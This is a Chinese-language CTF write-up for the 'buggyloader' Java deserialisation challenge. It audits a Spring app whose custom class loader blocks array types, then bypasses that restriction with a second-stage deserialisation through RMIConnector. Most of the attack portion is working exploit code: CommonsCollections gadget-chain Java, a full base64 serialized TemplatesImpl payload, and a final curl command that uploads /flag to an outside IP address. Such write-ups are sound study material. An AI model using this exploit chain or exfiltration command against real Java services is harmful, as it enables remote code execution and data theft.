https://www.anquanke.com/post/id/256986#h3-7

https://www.bilibili.com/video/BV1LZ4y1m7Ah?spm_id_from=333.999.0.0

# 源码

给了 jar 包与 Dockerfile

From openjdk:8u222-slim
RUN apt-get update -y \
    && apt-get install curl -y \
    && useradd ctf \
    && mkdir /opt/app
COPY buggyloader.jar /opt/app
COPY flag /flag
WORKDIR /opt/app
EXPOSE 8080
USER ctf
CMD ["java", "-jar", "/opt/app/buggyloader.jar"]

IndexController

package BOOT-INF.classes.com.yxxx.javasec.deserialize;
import com.yxxx.javasec.deserialize.MyObjectInputStream;
import com.yxxx.javasec.deserialize.Utils;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
@Controller
public class IndexController {
  @RequestMapping({"/basic"})
  public String greeting(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
    byte[] b = Utils.hexStringToBytes(data);
    InputStream inputStream = new ByteArrayInputStream(b);
    MyObjectInputStream myObjectInputStream = new MyObjectInputStream(inputStream);
    String name = myObjectInputStream.readUTF();
    int year = myObjectInputStream.readInt();
    if (name.equals("SJTU") && year == 1896)
      myObjectInputStream.readObject(); 
    return "index";
  }
}

MyObjectInputStream

package BOOT-INF.classes.com.yxxx.javasec.deserialize;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.net.URL;
import java.net.URLClassLoader;
import org.apache.commons.collections.Transformer;
public class MyObjectInputStream extends ObjectInputStream {
  private ClassLoader classLoader;
  
  public MyObjectInputStream(InputStream inputStream) throws Exception {
    super(inputStream);
    URL[] urls = ((URLClassLoader)Transformer.class.getClassLoader()).getURLs();
    this.classLoader = new URLClassLoader(urls);
  }
  
  protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
    Class<?> clazz = this.classLoader.loadClass(desc.getName());
    return clazz;
  }
}

Utils

package BOOT-INF.classes.com.yxxx.javasec.deserialize;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
public class Utils {
  public static String bytesTohexString(byte[] bytes) {
    if (bytes == null)
      return null; 
    StringBuilder ret = new StringBuilder(2 * bytes.length);
    for (int i = 0; i < bytes.length; i++) {
      int b = 0xF & bytes[i] >> 4;
      ret.append("0123456789abcdef".charAt(b));
      b = 0xF & bytes[i];
      ret.append("0123456789abcdef".charAt(b));
    } 
    return ret.toString();
  }
  
  static int hexCharToInt(char c) {
    if (c >= '0' && c <= '9')
      return c - 48; 
    if (c >= 'A' && c <= 'F')
      return c - 65 + 10; 
    if (c >= 'a' && c <= 'f')
      return c - 97 + 10; 
    throw new RuntimeException("invalid hex char '" + c + "'");
  }
  
  public static byte[] hexStringToBytes(String s) {
    if (s == null)
      return null; 
    int sz = s.length();
    byte[] ret = new byte[sz / 2];
    for (int i = 0; i < sz; i += 2)
      ret[i / 2] = (byte)(hexCharToInt(s.charAt(i)) << 4 | hexCharToInt(s.charAt(i + 1))); 
    return ret;
  }
  
  public static String objectToHexString(Object obj) throws Exception {
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    ObjectOutputStream out = null;
    out = new ObjectOutputStream(bos);
    out.writeObject(obj);
    out.flush();
    byte[] bytes = bos.toByteArray();
    bos.close();
    String hex = bytesTohexString(bytes);
    return hex;
  }
}

# 代码审计

IndexController

image-20220510225251324

这里就是一个反序列化,不过这里的反序列化是自己重写的 MyObjectInputStream

MyObjectInputStream

image-20220510225439537

可以看到这里重写了 resolveClass ,用的 loadClass 进行加载类,可以看一下原生的 resolveClass

image-20220510225805559

这个和 shiro 反序列化中很像,但是 shiro 采用的是 tomcat 中的双亲委派机制,与这里的有所不同

image-20220511090110682

其中 Class.forName 加载对应上图的橘黄色图块,也就意味着不能加载 WEB-INF/lib 下的数组类型,但是可以加载 tomcat/lib 、Java 原生类、 tomcat 指定位置类的数组类型。

这里的是传统的双亲委派机制

image-20220511090339155

其父加载器是 AppClassLoader ,意味着所有的数组类型都无法使用

# cc5 问题

cc5 的入口类是 BadAttributeValueExpException ,因为 java 反序列化的时候会调用所有父类的 readObject ,看到 BadAttributeValueExpException 的父类 Throwable

image-20220511091514590

这里有对数组的操作,所以不能使用

# cc6 问题

这个就很明显

TemplatesImpl 类在反序列化 _bytecodes 字段时使用了 classloader 加载该类型,然而 classloader 又不能加载数组类型所以报错

# 二次反序列化

为了解决这个问题,有两个大方向可以思考

  • 寻找新的命令执行方式
  • 寻找二次反序列化漏洞点

相对来说第二种更方便寻找一些

通过 CodeQl 查找,找到了一个类 RMIConnector

image-20220511092137854

利用点在 RMIConnector.findRMIServerJRMP

image-20220511092413867

这里对传入的 base64 反序列化

然后看到入口点 RMIConnector.connect

image-20220511092741187

调用了 findRMIServer 并且传入 JMXServiceURL 参数,跟进

image-20220511092949658

根据 JMXServiceURL 的开头来进入对应的,这里只要让其为 /stub/ 开头即可

查找一下 RMIConnector 的利用

image-20220511093321834

做个 demo ,先将 cc 的 payload 生成 base64

package com.yxxx.javasec.deserialize;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.net.MalformedURLException;
import static marshalsec.util.Reflections.setFieldValue;
public class test {
    public static void main(String[] args) throws Exception {
        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
        setFieldValue(jmxServiceURL, "urlPath", "/stub/rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADa2V5c3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAACc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAABrcr+ur4AAAAxABwBAARFdmlsBwABAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAAwEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAE2phdmEvbGFuZy9FeGNlcHRpb24HAAgBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQAEY2FsYwgAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQAGPGluaXQ+BwADDAAWAAYKABcAGAEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEAIQACAAQAAAAAAAIACAAFAAYAAQAHAAAAJQACAAEAAAARuAAPEhG2ABVXpwAHS6cAA7EAAQAAAAkADAAJAAAAAQAWAAYAAQAHAAAAEQABAAEAAAAFKrcAGbEAAAAAAAEAGgAAAAIAG3B0AANhYWFwdwEAeHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXEAfgAUWwALaVBhcmFtVHlwZXNxAH4AE3hwcHQADm5ld1RyYW5zZm9ybWVycHNxAH4AAD9AAAAAAAAMdwgAAAAQAAAAAHh4dAADYmJieA==");
        RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
        rmiConnector.connect();
    }
}

image-20220511125403124

外面再套一层 cc

package com.yxxx.javasec.deserialize;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.net.MalformedURLException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import static marshalsec.util.Reflections.setFieldValue;
public class test {
    public static void main(String[] args) throws Exception {
        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
        setFieldValue(jmxServiceURL, "urlPath", "/stub/rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADa2V5c3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAACc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAABrcr+ur4AAAAxABwBAARFdmlsBwABAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAAwEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAE2phdmEvbGFuZy9FeGNlcHRpb24HAAgBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQAEY2FsYwgAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQAGPGluaXQ+BwADDAAWAAYKABcAGAEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEAIQACAAQAAAAAAAIACAAFAAYAAQAHAAAAJQACAAEAAAARuAAPEhG2ABVXpwAHS6cAA7EAAQAAAAkADAAJAAAAAQAWAAYAAQAHAAAAEQABAAEAAAAFKrcAGbEAAAAAAAEAGgAAAAIAG3B0AANhYWFwdwEAeHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXEAfgAUWwALaVBhcmFtVHlwZXNxAH4AE3hwcHQADm5ld1RyYW5zZm9ybWVycHNxAH4AAD9AAAAAAAAMdwgAAAAQAAAAAHh4dAADYmJieA==");
        RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
       //rmiConnector.connect();
        InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, rmiConnector);
        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry, "bbb");
        lazyMap.remove(rmiConnector);
        setFieldValue(lazyMap,"factory", invokerTransformer);
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(map2);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(bos.toByteArray())));
        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject();
        ois.close();
    }
}

image-20220511132721932

最后把命令修改一下即可

curl -F xx=@/flag 120.79.0.164:1236

image-20220511143356142

image-20220511143413445

请我喝[茶]~( ̄▽ ̄)~*

miku233 微信支付

微信支付

miku233 支付宝

支付宝

miku233 贝宝

贝宝